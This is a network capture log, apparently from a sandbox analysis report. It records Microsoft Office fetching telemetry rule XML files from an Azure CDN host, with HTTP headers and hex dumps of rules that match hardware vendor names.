2024-12-02 03:58:52 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:52 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:52 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: bef9f1b5-c01e-007a-611b-41b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035852Z-174f7845968ljs8phC1EWRe6en00000013sg000000007meu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:58:52 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:52 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:53 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:52 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 1383167b-401e-008c-1f3c-4486c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035852Z-174f7845968zgtf6hC1EWRqd8s0000000wy0000000002br1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 03:58:53 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:52 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:53 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 7b1224ad-601e-0097-014f-44f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035853Z-174f7845968xr5c2hC1EWRd0hn0000000npg00000000g4f0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:58:53 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:52 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:53 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 8339b61c-e01e-00aa-5413-42ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035853Z-174f7845968kvnqxhC1EWRmf3g0000000qm000000000m4wy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:58:53 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:54 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:55 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:54 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 6ab56c84-d01e-008e-48c7-43387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035854Z-174f7845968pf68xhC1EWRr4h8000000141000000000kkwd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 03:58:55 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:54 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:55 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:54 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 1f885eed-401e-0029-2ba8-429b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035854Z-174f7845968nxc96hC1EWRspw800000013pg000000006zbb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:58:55 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:54 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:55 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:55 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e9babc56-001e-0049-5291-3f5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035855Z-174f7845968cpnpfhC1EWR3afc00000013f000000000dude x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:58:55 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:55 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:55 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:55 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: a99e6065-701e-006f-4d91-3fafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035855Z-174f7845968zgtf6hC1EWRqd8s0000000wy0000000002btu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:58:55 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:55 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:55 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:55 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 20b9087d-001e-0049-035f-435bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035855Z-174f7845968cpnpfhC1EWR3afc00000013n0000000001h4g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:58:55 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49863	13.107.246.63	443	7620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:56 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:57 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:57 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 264c510b-001e-000b-0eb2-4215a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035857Z-174f7845968j6t2phC1EWRcfe800000013yg00000000k8pa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 03:58:57 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:56 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:57 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:57 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 0f0a23f1-f01e-0099-76b2-429171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035857Z-174f7845968nxc96hC1EWRspw800000013ng000000009gpw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:58:57 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:57 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
